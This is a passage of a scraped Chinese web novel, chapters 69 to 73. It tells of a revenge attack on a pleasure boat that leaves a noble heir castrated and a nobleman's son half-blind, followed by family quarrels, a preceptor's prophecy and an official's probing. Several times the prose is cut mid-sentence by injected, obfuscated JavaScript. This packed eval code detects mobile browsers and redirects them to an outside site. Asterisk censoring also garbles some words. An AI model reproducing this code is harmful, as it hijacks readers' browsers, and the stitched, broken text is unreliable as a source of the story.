舞娘冲他行了一礼,而后旋身踩着鼓点起舞,石榴红的裙摆扫得叮当作响。 船身跟随她的舞步轻微晃动。 谢锦程见她这姿态,不像练过舞的,心中有些惊讶。 还没来得及质问,就见她旋转着身子靠近了案几。 “诶,我可没说把花簪给你。”谢锦程探身想要阻拦。 舞娘便利落地从案几上越过,缠满铃铛的赤足已抵在他膝头。 从他的角度看去,裙底风光若隐若现,格外勾人。 谢锦程心跳乱了半拍。 舞娘含笑俯身,将冰凉的酒盏贴上他的唇边。谢锦程下意识地仰头张开了嘴,舞娘顺势将酒灌入了他口中。 一旁的晏明修已经看呆了。 此时,鼓槌重重砸下最后一个音。 先前打鼓的小丫鬟猝不及防从裙摆掏出了一支三寸长的铜**,对准谢锦程的下半身射去。 谢锦程只觉得胯间剧痛,猛地爆发出惨烈的尖叫。 喂酒的舞娘凑到了谢锦程耳边,阴恻恻道:“晏明修,我要你**。” “我不是晏明修啊,他才……”谢锦程嚎到半截昏死过去。 打鼓的丫鬟第二支**箭对准了晏明修。 晏明修终于反应过来,将案几扛起挡在自己的面前,将那支**箭给挡偏了。 他还没来得及松一口气,舞娘拔下发间的金簪用力戳进他左眼。血液蹦出,晏明修感觉左眼一片黑暗。 他惨叫着往后闪躲,手掌撞翻了一旁的烛台,火苗蹿上锦缎屏风,一瞬间锁春艇便燃起了大火。 躲在屏风后边的侍女们惊慌失措地跑了出来。 舞娘不再迟疑,将射过来的两只**箭捡起,随后毫不犹豫地从窗户一跃而出。 躲在另一条船里烤火取暖的船夫听到有人落水,吓了一跳,忙举着灯笼出来查探情况。 他们只看见黑沉沉的水面上飘着先前送来的那位姑娘脸上戴着的面纱,连接两条画舫的铁链不知何时被人撬开,锁春艇早顺着暗流漂出一丈远。 “呀,着火了,快救人!” “愣着干嘛,里边可是昭瑞亲王府的那位世孙,还有定远侯府的二少爷啊!快救人!” 两个船夫着急忙慌地叫人。 醉花楼的护卫们第一时间冲过来救火。 而两个凶手,早已借着夜色悄悄逃离。 * 岸上的双鲤守在马车旁,急得直跺脚。 九栀姐姐和小姐怎么去了那么久还没回来。 没过多久,水底忽然冒出一个几乎不着寸缕的身影,双鲤认出是九栀,赶忙把先前准备好的斗篷裹到了她身上。 “快上马车,已经生好炭火,还有汤婆子也都备好了。赶紧换衣裳喝姜汤,莫要染了风寒。”双鲤将她推上马车,继续在岸边焦急地等待。 九栀姐姐回来了,小姐怎么还不见踪影? 小姐腿脚才刚好一些,要从那么远的地方游过来,不会出什么事了吧。 她越想越害怕,急得在岸边来回踱步。 小姐这也太冒险了,若是小姐有三长两短,她该怎么办啊。 “哗啦”一声响。 水里冒出了个脑袋。 看清晏逐星的脸,双鲤喜极而泣地扑了过去。 “呜呜呜,小姐你总算回来了。” “别哭,拉我一把,我没力气了。”晏逐星虚弱地吐出这句话。 “好。”双鲤赶忙将她扯上了岸。 马车里换好衣裳的九栀跳下来,和她一块将晏逐星抬上了马车。 晏逐星只觉得整个人都虚脱了。 躺在马车时,她才发现自己双腿还在打摆子。 见她没了力气,九栀直接捏住她的下巴给她灌姜汤,双鲤替她换了一身干爽的衣裳,随后用羊毛毯子把她紧紧裹住,又往她怀里塞了一个汤婆子。 晏逐星这才感觉先前金水河带来的刺骨寒意渐渐退去。 上回从马车上坠落的腿此刻有几分隐隐作痛,晏逐星决定回头去请季太医帮忙再瞧瞧。 虽说上回她伤得不算特别严重,但伤筋动骨一百天。 这才过了一个多月,还是谨慎点好。 见晏逐星的嘴唇从先前的惨白没有颜色,到渐渐浮起一丝淡淡的红,双鲤这才松了一口气,开始慢条斯理地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏逐星轻笑一声,撩开粘在颈间的湿发,一字一句道:“既是如此,为何我的事你全都一字不漏地传回了永安王府。” 第69章 命根子废了 衔蝉手里的铜瓢磕在桶沿嗡嗡作响。 她没想到,大小姐什么都知道,只是一直什么都没说。 “奴婢,奴婢……”衔蝉张了张嘴,想要解释,但又不知道该怎么辩解。 最后只是颓然地垂下了头。 她的身契还在王府,她本就是王府的人,给王爷通风报信也是她的职责。 只是面对大小姐的质问,她还是有些羞愧。 毕竟大小姐待她真的很好。 “奴婢知道了,明日我就回王府去。”衔蝉抿唇,继续替她沐发。 晏逐星没有挽留。 虽然她也很喜欢衔蝉,也知道永安王对她没有恶意。 但她不想留一个一直窥探着自己的人在身边。 永安王只是暂时对她没有恶意,难保之后不会改变主意。 他的眼线,还是还给他的好。 约莫在晏逐星回府的三刻钟后,定远侯带着重伤的晏明修回了府。 当天夜里,侯府灯火通明,太医走后,又来了七八个大夫,一直在晏明修的院子里进进出出。 晏逐星没管他们,洗完热水澡后就直接去睡觉了。 她太累了,没空去逢场作戏。 翌日清晨,她给了衔蝉一张百两银票和一根银簪。 “这些时日,辛苦你了。这支银簪乃是我亲手做的。日后若你有事需要我帮忙,可以拿着簪子来侯府寻我。” 衔蝉收拾好包袱,看着这张银票,心里有些发堵。 她没有收下银票,直接过了簪子:“奴婢伺候小姐,王爷已经给过赏银了。簪子奴婢收下了,多谢小姐,往后您自己多多保重身子。” “衔蝉姐姐,你要走了吗?”双鲤依依不舍地看着她。 衔蝉姐姐人漂亮又温柔,懂得还多,许多勋贵世家的礼仪都是她教她的。 她真舍不得衔蝉姐姐。 “嗯,王爷的玉坠已经找到了,我该回去了。”衔蝉摸了摸她的脑袋,没有说实话。 “我走之后,你好好伺候小姐。” “嗯,我会的。”双鲤忍着眼泪点头。 看着衔蝉离开的背影,双鲤最终还是没忍住,跑过去一把抱住了她。 “衔蝉姐姐,呜呜呜,我舍不得你。” 晏逐星没有说什么,让她们小姐妹俩单独叙话,随后唤九栀推来轮椅。 “走吧,咱们去看看二哥。” “是。”九栀推着她去了晏明修的院子。 温如霜早就守在了床边。 她和晏明修都躺着,母子二人看起来如出一辙的凄惨。 晏明修的左眼被厚厚的纱布包着,眼睛估计是保不住了。 “你来做什么?!是想看明修的笑话吗?”温如霜恨恨地看着她。 自打这丫头告官后,定远侯府就祸事频出。 她真是恨死她了。 她凉凉道:“二哥这左眼是怎么了?瞎了吗?” “你才瞎了呢!”她一句话就挑起了温如霜的怒火,气得温如霜抓起手边的茶盏就砸了过来。 九栀瞬间想要出手接住,晏逐星察觉到她的意图,直接出手按住了她的胳膊,而后用力往后仰避开了泼出来的茶水。 九栀会武功的事情,暂时还不能暴露。 “小姐?”九栀见她被泼到,牙齿都咬紧了。 晏逐星冲她摇了摇头,示意她不要冲动。 那盏温热的茶只是泼到了她的身上,并没有溅到她的脸。 冬日衣裳穿得厚,她没什么感觉。 “二哥还活着,就是喜事。母亲何必做出一副**儿子的模样。”晏逐星确认了床上晏明修没死,只是瞎了,转身打算离开。 “你个混账东西。我告诉你,就你这副冷心冷肺、六亲不认的德行,迟早要遭天打雷劈!你且等着,你必定要比明修凄惨百倍,不得好死!”温如霜气得胸口起伏,大口大口地喘气。 “一大早的,吵吵嚷嚷什么!”定远侯的声音从院子里传来。 晏逐星赶忙冲他行礼:“见过父亲。” “你这衣裳怎么了?”定远侯一眼就看到了她被打湿的衣裳。 晏逐星抿唇,随后委委屈屈地开口了:“母亲因为二哥伤势忧心,心情不好,泼了我一盏茶罢了。” 温如霜没想到她竟然当着她的面就颠倒黑白告状。 她干脆也破罐子破摔,怒吼道:“她又不是诚心来探望明修,她就是来看明修的笑话,我泼她茶怎么了。我还想扒了她的皮呢。” “母亲,您这话可真是太让我伤心了。我昨夜歇得早,不知道发生了什么事。今日一早得知二哥受伤,便匆匆赶来了,连早膳都未曾用过。我怎么就不是诚心来探望二哥的了?” 晏逐星哽咽着反驳,手里的帕子都拧成了一团,眼里满是伤心和失望。 “你就是……”温如霜还没说完,就被定远侯打断了。 “胡闹!明修受伤,你迁怒星儿做什么?” 定远侯深吸一口气,将怒火压下。 他现在没心情给两人断官司,他只想快点把两人分开。 “星儿,你先回玉澜院去。” “是。”晏逐星毫不犹豫,让九栀推着她回去。 戏演到这里就够了。 温如霜失望地看着定远侯。 侯爷已经变了,从前他最是疼爱他们母子,如今他却这样轻飘飘地放过了顶撞她的晏逐星。 “明修可醒了?”定远侯脸色阴沉地开口。 “尚未。”温如霜面容满是愁苦。 太医和大夫都说儿子这只眼睛是保不住了,万幸的是身上的烧伤不算严重,今日就能清醒过来。 一想到儿子缺了只眼睛,她这颗心难受得像是被人狠狠捅了好几刀。 定远侯的脸色也好看不到哪里去。 他压抑着怒火,开口道:“若他醒了,立刻将他送去昭瑞亲王府赔罪。” “什么?”温如霜声音陡然变得尖厉。 “若不是谢锦程硬拖着明修陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611340|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他去什么醉花楼,明修怎么会生生废了一只眼睛。如今你竟然让他去给谢锦程赔罪?你真是枉为人父。” 定远侯也火了,怒声反驳:“你可知昨夜的祸事是谁招惹的?!” 他伸手指向床上还在昏迷的晏明修。 “正是你的好儿子!谢世孙也是受了他的牵连。” 温如霜瞪大了眼睛,不可置信道:“不可能!” 定远侯指节捏得青白,咬牙切齿道:“如今他只是瞎了一只眼,而谢世孙的子孙根都废了,从此以后就是个废人。昭瑞亲王的血脉都断了,他若是不去请罪,咱们整个侯府都得完蛋。” 温如霜如遭雷击。 她没想到谢锦程竟然伤得比自己的儿子还重,往后都不能人道了。 但她心底忽然又透出点扭曲的快意。 谁让谢锦程非要带明修去那种腌臜地方,命根子废了也是活该。 躺在床上的晏明修醒来,听到父亲和母亲争执,虚弱地开口:“不,我,没有……” “明修,你总算醒了。”回过神来的温如霜,赶忙伸手握住儿子的手。 她想翻身把耳朵凑到儿子身旁,却无能为力,急得她猛拍床板。 “快听听二少爷说什么。” 嬷嬷李氏赶忙弯腰凑过去,就听到晏明修恨恨道:“此事与我无关,那人一来就冲着谢锦程去的。” 李氏将他的话原原本本地转达。 温如霜激动起来:“看吧,我就说和咱们明修没关系!” 定远侯露出了迟疑:“可王府那边传来了消息,说那人射杀王府世孙时,对他说的是‘晏明修,我要你**。’若不是冲着你去的,还能是谁。” “我没有得罪过别人。”晏明修也激动了起来。 他一激动,就剧烈咳嗽了起来,下人们赶忙上前伺候。 见他否认得这么果断,定远侯陷入了深思。 莫不是昭瑞亲王骤闻谢锦程重伤垂危的噩耗,痛彻心扉的打击下竟失了方寸,刻意将明修推作替罪羊来宣泄心头之愤? 晏明修喝了一口水缓过气来,伸手摸了摸自己包扎的眼睛,惊恐道:“母亲,我是不是从今往后都看不见了?” “你好好休息,日后……”温如霜说着谎话想要安慰儿子。 但晏明修根本不听,他抬手挥舞,根本不管温如霜身子不便,竟是直接将她从一旁的榻上推了上去。 “滚,你们都给我滚出去。” “哎哟。”温如霜惊呼一声,摔在地上,狼狈地哭了起来。 “二少爷。” “夫人。” 丫鬟们手忙脚乱了起来。 要安抚晏明修,又要抬走温如霜。 定远侯看着眼前的乱糟糟的一幕,心烦不已,转身就走。 此事诸多疑点,他还得再好好调查调查。 * 衔蝉背着包袱回了永安王府,想见王爷。 没想到,却被告知王爷被出关的国师请走了。 第70章 恐怕会杀夫 “永安王到——” 谢翊宁踏入天机殿的大门,便瞧见了站在国师张玄爻身侧的父皇母后。 他随意地冲二人行了一礼:“儿臣参见父皇、母后。” 不等他们开口回应,他就蹿到张玄爻跟前,伸手揪住那绺白须:“国师大人,您可算舍得出关了。哟,您这胡子,养得可真是越来越好了,油光水亮的。” 张玄爻没好气地拍掉他的手:“去去去。你小子一边去,九年不见,怎么还跟小时候一样淘气。” 皇后见他们还在慢悠悠地叙旧,急得不行。 她抓着文昭帝的手变紧,忍不住问道:“国师大人,您先前跟我们说石头的命数有变,死劫已解,可是真的?” 听到这话,谢翊宁神色一凛。 他的死劫,解了? 什么时候的事? 张玄爻甩开被扯歪的胡子,眼底戏谑褪得干干净净。 他严肃地点了点头:“先前我还不确定,但见到这小子,我能肯定了。他的死劫已解。” “为什么?”谢翊宁脱口而出。 “你是死过一次的人。”他伸出苍老的手指,点在了谢翊宁的心口处。 张玄爻轻飘飘的一句话,让谢翊宁后背的汗**一瞬间就立了起来。 他的脑袋“嗡”一声响,变得一片空白。 国师大人什么都知道。 被他指尖轻轻一点,那日梦中醒来时被一箭穿心的剧痛好像又浮现在了眼前。 一时间,谢翊宁的脸上的血色褪尽如宣纸,冷汗涔涔。 “石头。”皇后瞧见他这副模样,心一下就悬了起来,吓得赶紧上前查探他的情况。 “我没事。”谢翊宁缓过神来,摆了摆手安慰母后。 文昭帝着急地看向张玄爻:“国师此话是何意?什么叫石头是死过一次的人?” “这小子,命好。”张玄爻轻声笑了。 文昭帝和皇后屏住呼吸,急切地等着他的下一句话,都快喘不过气了。而他还在慢条斯理地整理着被弄乱的胡子。 皇后没忍住,追问道:“怎么个好法?” “他呀,是遇上贵人了。有人替他挡了这个死劫,给了他一次重活的机会。”张玄爻也没有继续卖关子。 谢翊宁脑海里瞬间就闪过了晏逐星的模样。 难不成,国师大人说的贵人。 是她? “那我们该去哪里感谢那位贵人?”皇后和文昭帝异口同声地发问。 张玄爻拂尘轻扬,眼尾笑纹里藏着玄机:“远在天边近在眼前,天机不可多言。” 说着退后两步,道袍在风中微动。 他深揖到底,而后起身露出了释怀的笑:“恭贺陛下与娘娘夙愿得偿,贺喜王爷否极泰来。自此劫波尽渡,岁岁长安。” 语毕,他径自踏着青砖飘然离去。 文昭帝和皇后追了上去。 “国师大人留步……” 然而张玄爻只是冲他们挥了挥手,没有回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616560|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们知道他去意已决,此番回来只是验证他的猜测,便停下了脚步,没有继续去追。 文昭帝看向了皇后:“国师若是有事告知,自会现身。不必再强留。” 皇后点点头,牵着他的手走到了谢翊宁身边。 这么多年压在她心里的巨石终于落地了。 她笑容满面地问道:“石头,国师大人说的那位贵人,你可有什么线索?” 谢翊宁迟疑了片刻,没想好要不要把晏逐星救了他的事情说出来。 然而他的迟疑,落在皇后眼中就是知情。 皇后变得更兴奋了。 “石头,是谁,你告诉母后,母后要好好感谢人家!” 谢翊宁想到母后先前就想疯狂撮合他和晏逐星,若是真说出来了,她还不得立刻下旨赐婚呀。 万一到时候晏逐星对他没有男女之情,父皇母后赐婚让她嫁给他,依照她的性子,恐怕会做出杀夫的事情。 他想到那个场景,猛地开口:“儿臣不知。但你们也不要乱找人。我已经有了猜测,等确定是谁之后,我就告诉你们。” “好吧。”皇后有些遗憾地点了点头。 而后她扭头看向了文昭帝,语气满是欢喜:“皇上,既然石头的死劫已过,咱们要不要将这个好消息昭告天下,好好为石头庆贺一番。” “此事不宜立刻宣扬。” “母后,不急。” 文昭帝和谢翊宁同时脱口而出。 第71章 又要失望咯 皇后很快也反应过来,她忙不迭点头:“本宫被这好消息冲昏头脑了,听你们的,不要声张。就咱们自家人小小地庆贺一番就好。” 若是这个消息传出去,保不准有心人会拿这件事做文章。 而且现在距离石头的二十岁生辰还有两年多呢。 万一中途又出现什么变故怎么办。 还是等石头及冠后再大肆庆贺为妙。 皇后拉着谢翊宁又问了几遍,见他还是不松口,便让他先行离开了。 谢翊宁一走,皇后就“哼”了一声。 “这臭小子,以为不说本宫就不知道了么。” 文昭帝笑了起来,温柔地替她把歪掉的发钗重新簪好。 “是是是,皇后这般聪慧,有什么能瞒得过你的。” 皇后歪着脑袋看向皇上,也笑了:“国师大人说远在天边近在眼前,那姑娘肯定在京城。甚至是在宫里。” “不过石头对定远侯府大姑娘那样关注,十有**就是那姑娘了。只是不知道那姑娘究竟是什么时候救的他。” 文昭帝想起了儿子之前说的那个“梦”。 他笑道:“许是在梦中吧。” * 谢翊宁回了王府,见到衔蝉,便将她叫到了书房。 “怎么忽然回来了?” “大小姐查出奴婢把侯府里里外外的事情都暗中通报给王爷,便将我送回来了。还给了奴婢百两银票和一支银簪。”衔蝉羞愧地垂下了脑袋。 她将那支簪子交了出来。 谢翊宁把玩着那支簪子:“这是她亲手做的?” “是。”衔蝉点头。 谢翊宁盯着簪子,想到了国师大人说的“贵人”,脑海里不自觉地就闪过了晏逐星的一颦一笑。 自打确认她在侯府有自保能力后,除了衔蝉,别的探子他都已经撤回来了。 没想到,衔蝉她也不想要。 或许,他应该改变一些想法。 谢翊宁抬头,见衔蝉眼巴巴地盯着那支簪子。 他干脆利落地将簪子收到了怀里。 “待会本王让何嬷嬷拿一匣子簪子让你选,你可以挑支别的。” 衔蝉懂了,王爷是不会把簪子还给她的了。 她只得认命点头:“是。” 谢翊宁看着桌上先前没整理完的醉花楼刺杀一案,心中猛地闪过一个猜测。 他看向衔蝉,开口询问:“昨夜,她可曾出过府?” 谢锦程和晏明修在醉花楼的画舫上**一事,昨夜便传得沸沸扬扬,他自然也已经知晓。 他觉得这事和晏逐星应该脱不了干系。 衔蝉点头。 谢翊宁又问:“她去做什么了?” “奴婢不知。”衔蝉摇了摇头,随后还是说了实话。 “不过,大小姐傍晚就带着双鲤和九栀出门了,约莫是戌时三刻回来的。” 一旁的停云眼前一亮:“昭瑞亲王府的世孙和侯府的二少爷,似乎是戊正时出的事。从醉花楼到定远侯府,这个时间马车回去正好。” 衔蝉听到这话,皱眉:“大小姐昨夜并未用车。” “若她要害晏明修,自然不会用侯府的车呀。”停云利落反驳。 “大小姐腿还没好呢,出行要么拄拐要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616561|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么坐轮椅,她怎么可能跑去醉花楼伤人。”衔蝉再次反驳。 “说不定人家腿早就好了,只是防着你呢。”停云认准了这事就是晏逐星所为。 衔蝉被他这么一说,不吭声了。 但抿着唇的样子,很明显是不高兴了。 “你之前是不是说过,她一直有练习射箭?”谢翊宁看向衔蝉。 “是。”衔蝉点头。 “可曾见她用过**箭?”谢翊宁又问。 衔蝉想了想,摇头:“不曾。” 见停云还想要说话,一旁的照夜扯了扯他,示意他别开口,但还是没能拦住他。 停云:“可晏大小姐连有机关的酒壶都会造,打造一把小**对她来说也不算难事吧?” 谢翊宁挑眉看向他:“这么说,你的意思是昨夜放箭射杀谢锦程的是她?” 停云忙拱手回答:“属下只是猜测。毕竟从时间和逻辑上,晏大小姐都是最有可能的那个人。” “啧,她这样可不行啊。”谢翊宁托着下巴。 停云眼睛唰地亮了,胳膊肘猛怼着照夜腰眼,挑眉使眼色:学着点,他们可是王爷的近卫,就该忠心谏言。 照夜:…… 得,白劝了。 让这傻小子自己撞南墙去吧。 他虽然回京城的时间不长,但也清楚王爷对那位大小姐有多偏爱。 怎么停云留在王爷身边时间最长,反倒看不明白呢。 恐怕这一回,他又要失望咯。 停云没搭理他,挺直胸膛看向谢翊宁,朗声询问:“王爷,可要属下将这消息告知昭瑞亲王?” 第72章 被恶女蒙蔽 “告诉他做什么?”谢翊宁轻飘飘地斜了他一眼。 谢锦程整日寻花问柳,听说占了不少妇人的便宜,只是那些妇人都说是自愿的,倒也不能把他怎么样。 如今没了那玩意,以后估计老实多了。 “那王爷的意思是?”停云傻眼了。 “本王的意思是,她和谢锦程无冤无仇,怎么就射中了他那玩意。想必她一开始是打算射伤晏明修的,只是准头不够,射偏了。”谢翊宁一本正经地分析了起来。 “本王琢磨着,是不是该给她找个好一点的骑射教**?下回要射谁,就不会射偏,伤及无辜了。” “不对,谢锦程那家伙,也不算无辜。” 停云:??? 王爷说的这是什么话。 照夜拍了拍他的肩膀。 他早就料到了,事关晏大小姐,王爷怎么可能会检举揭发她,不帮着补刀都算手下留情了。 衔蝉欲言又止。 她想说,大小姐射箭其实射得挺好的。不说百步穿杨,百发百中,但十发至少有八、九发都能正中靶心。 但眼下这个情况,似乎又不太适合开口。 一时间,三人齐刷刷地沉默了。 “照夜,你去醉花楼走一趟,看看京兆府是否遗漏了什么证据。”谢翊宁有条不紊地吩咐了起来。 昨夜之事,也不知道她扫尾扫干净了没。 照夜当即领命:“是。属下若是发现了不利于大小姐的证据,会第一时间毁掉的。” 谢翊宁很满意他的机灵,赞赏地看了他一眼:“不错,办好了回头去傅叔那边领赏,你这个月俸禄翻倍。” “多谢王爷!”照夜应下,唇角微微上翘。 停云猛地瞪了他一眼。 这小子,怎么这么没骨气! 怎么能为了那点俸禄就让恶女蒙蔽王爷呢。 见他想要张口,照夜生怕他说出什么不中听的话,赶忙勾着他的肩膀,把他拖出书房。 “王爷若是没有别的吩咐,我们就先去办差了。” “去吧。”谢翊宁点了点头。 书房里只剩下他和衔蝉。 谢翊宁骨节分明的手指轻轻点了点桌子:“你是想留在王府当差,还是继续伺候晏大小姐?” 衔蝉有些犹豫,害怕自己会说错话。 王府虽好,但远没有在大小姐身边自由和舒服,处处都是规矩。 可她是王府嬷嬷一手教养大的,若是就这么选了大小姐,王爷会不会觉得她忘恩负义,是背主之徒。 谢翊宁猜透她心中所想,淡定道:“不必担忧本王责罚,实话实说就好。” “你若想跟着她,本王不会怪罪你,待会就将你的身契送到她手中。从此你专心当她的人,不必将她的事告知本王。” 有了他这句话,衔蝉忙回答:“奴婢想跟着大小姐。” “好。”谢翊宁对她的选择并不意外。 “只是,奴婢怕大小姐不愿意再要奴婢。”衔蝉有些不安地低下头。 “无妨,你将本王先前说的话告诉她便好。”谢翊宁说完,又补上了一句话。 “你让她不必想太多,她对本王有救命之恩,这份恩情,足以保她一辈子富贵无忧。今后若有事,可以来王府求助本王。” “是。”衔蝉高高兴兴地答应了下来。 被拖出书房的停云还想回去谏言,还没走到门槛,就被照夜强行拽了回去。 “你是不是傻,还看不出来王爷对晏大小姐的心思么。”照夜无奈极了。 “你怎能做那种巧言令色,只进谗言的小人。王爷如今被恶女蒙蔽,我们就该多多进言。忠言虽逆耳,终须以诚相待。”停云振振有词。 “你才是小人呢。”照夜没好气地看了他一眼。 “王爷是什么人,你难道不清楚么。他认准了一件事情,很难去改。虽然不知道那位小姐对王爷何时有了救命之恩,但王爷说有,那就是有。” “咱们做属下的,不要越俎代庖,主子吩咐什么,咱们照做就是了。不能替主子分忧就算了,怎么还净说些主子不爱听的话添堵呢。” 一开始,他也不明白晏大小姐那样品行不端之人,为何王爷对她那般偏爱。 但他深入调查后,发现晏大小姐这几年过得是真的惨。 侯府真千金归来后,她的生活一夕之间从云端跌入泥潭,这样的两重差距,她能活到现在才反击已经是大圣人了。 抱错孩子并非她所愿,怎么能全怪到她头上呢,她还是个孩子呀。 她有什么错。 虽然王爷总说晏大小姐是恩人,但他却很期盼王爷能娶了晏大小姐。 这样有手段的王妃,可比那些娇弱哭啼,事事需要主子操心的强。 没看见晏大小姐很护着手底下的人么。 这种主子,值得追随。 他板着脸看向停云:“你若再这样冲动,之后王爷要罚你,我可不会替你求情。” 被照夜这么一教训,停云觉得自己好像确实有些错得离谱了。 王爷才是主子,哪里轮得到他去替他做主。 “我听你的。”停云彻底老实了。 * 晏逐星正在屋内看书,就听到双鲤欢喜地跑了进来。 “小姐,衔蝉姐姐回来了。” “哦?”晏逐星放下手里的书,望了过去。 “奴婢给小姐请安。”衔蝉背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623080|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着包袱,冲她行礼。 “可是落下了什么东西?”晏逐星温和地看着她。 衔蝉羞涩一笑,将自己的**契递给了她。 “王爷说,从此以后我就是您的人了。您不必担心我会将您的事透露给王府。” 晏逐星有些惊讶。 她没想到谢翊宁会大方到这个程度,竟然直接把人送给她了。 晏逐星拿着**契没吭声,衔蝉一颗心七上八下的,也不知道她会不会接受自己。 “以后咱们又能一块伺候小姐了?”双鲤兴奋地拉住衔蝉的手,一蹦三尺高。 “还得看小姐怎么说。小姐若不愿意接受我,我就只能回王府去了。”衔蝉一边说一边打量晏逐星的神色。 双鲤顿时紧张地看着晏逐星。 晏逐星被他们的目光逗笑了,她看向衔蝉:“王爷可提了什么条件?” “不曾。”衔蝉摇了摇头。 “但王爷说您对他有救命之恩,这份恩情,足以保您一辈子富贵无忧。今后若有事,可以去王府求助王爷。” 晏逐星没想到,上辈子那一箭竟然换来了谢翊宁这么深的感激。 这份恩情也太划得来了。 早知道谢翊宁那么大方,她就早早替他挡箭换来重生,早点过好日子了。 想到这,她“噗嗤”一下笑出了声。 她在想什么呢。 哪有这样的好事。 保不准**,就没下辈子了。 她还是好好珍惜如今活着的时光吧。 “那我便多谢王爷割爱了。”晏逐星微微一笑,收下了**契。 “从今往后,你还是我玉澜院的一等丫鬟。” “是。”衔蝉笑眯眯地应了下来。 只可惜,这高兴的氛围并没能持续太久。 九栀来报:“裴大人来了,想见小姐。” 晏逐星微微蹙眉。 裴明镜登门,一定是来调查晏明修受伤一事。 他难道不该问完晏明修就走么,找她做什么。 难不成昨日她和九栀遗漏了什么? 她看了九栀一眼,九栀轻轻摇头。 昨夜跳河前,她将小姐射出的两根**箭都带走了。 “推我去见裴大人吧。”晏逐星收起笑意,沉声开口。 轮椅发出吱呀吱呀的声音。 裴明镜扭头一看,是丫鬟推着晏逐星来了。 “大小姐,好久不见。”裴明镜扫视着她的双腿,若有所思。 “是啊,好久不见,裴大人。”晏逐星笑着回应,表情上没有任何的紧张和不安。 “不知裴大人寻我何事?”她主动问了起来。 裴明镜放下手中的茶盏,从袖中抖出了一张帖子。 第73章 真正的试探 “阿芜那丫头让我替她送帖子,邀你过府一叙。大小姐若是有空,不如同我一块去家里坐坐。” 裴明镜将描金帖子顺着檀木桌面轻推到晏逐星面前。 晏逐星有些讶异,他寻她竟然是为了帮裴芜递帖子么。 她伸手将帖子推了回去。 “裴大人有所不知,令堂曾放话,有她的地方没我。国公府我是万万不敢再去的。若裴二小姐有事相约,不妨来定远侯府寻我,我定扫榻以待。” 裴明镜没有纠缠,将帖子收回。 他笑道:“家母那只是一时的气话,还请晏大小姐不要放在心上。” 晏逐星笑了笑,没说话。 裴明镜又说回了裴芜。 “不知为何阿芜与大小姐格外投缘,心心念念想见你。昨夜同我出门逛夜市,连糖渍梅子都要买两包,说是要给你留一包。” 说着,他忽然话锋一转:“不知大小姐昨夜去了何处?我与阿芜在金水河附近买吃食时,似乎瞧见了你。” 虽然他之前一直在说裴芜,但晏逐星一直防着他。 听到这话,她暗道一句:果然如此。 裴明镜在给她挖坑呢。 她立刻露出了恰到好处的惊讶:“你们认错人了吧?我昨夜一直待在府里,哪儿都没去。” “是么?那我怎么看见了贵府的马车?”裴明镜继续试探。 “昨夜我二哥出门了,大人瞧见的许是他的马车。”说到这,晏逐星露出了担忧的表情。 “裴大人,伤我二哥的凶手,你可查到了?” 裴明镜意味深长地看了她一眼。 “正在查。此人十分狡猾,恐怕本官这一回又要无功而返了。” “满京城谁不知道裴大人您的厉害,您一定能抓到凶手的。”晏逐星露出崇拜的表情。 “那可未必。上回大小姐同夫人从马车坠落一案,本官至今都没有查到真凶。”裴明镜眼里闪过一丝试探,“大小姐不会怪罪本官吧。” “怎么会!”晏逐星果断否认,眨巴着大眼睛看着他,看起来单纯又无辜。 “裴大人日理万机,手中案子无数,侯府的案子没查到也正常。再说了,坠马大概率只是一场意外。事情已经发生,沉溺于痛苦当中毫无意义。更遑论怪罪不相关的人了。” “大小姐真是生了一张巧嘴。”裴明镜忽然欺身上前,手搭在了晏逐星的轮椅上。 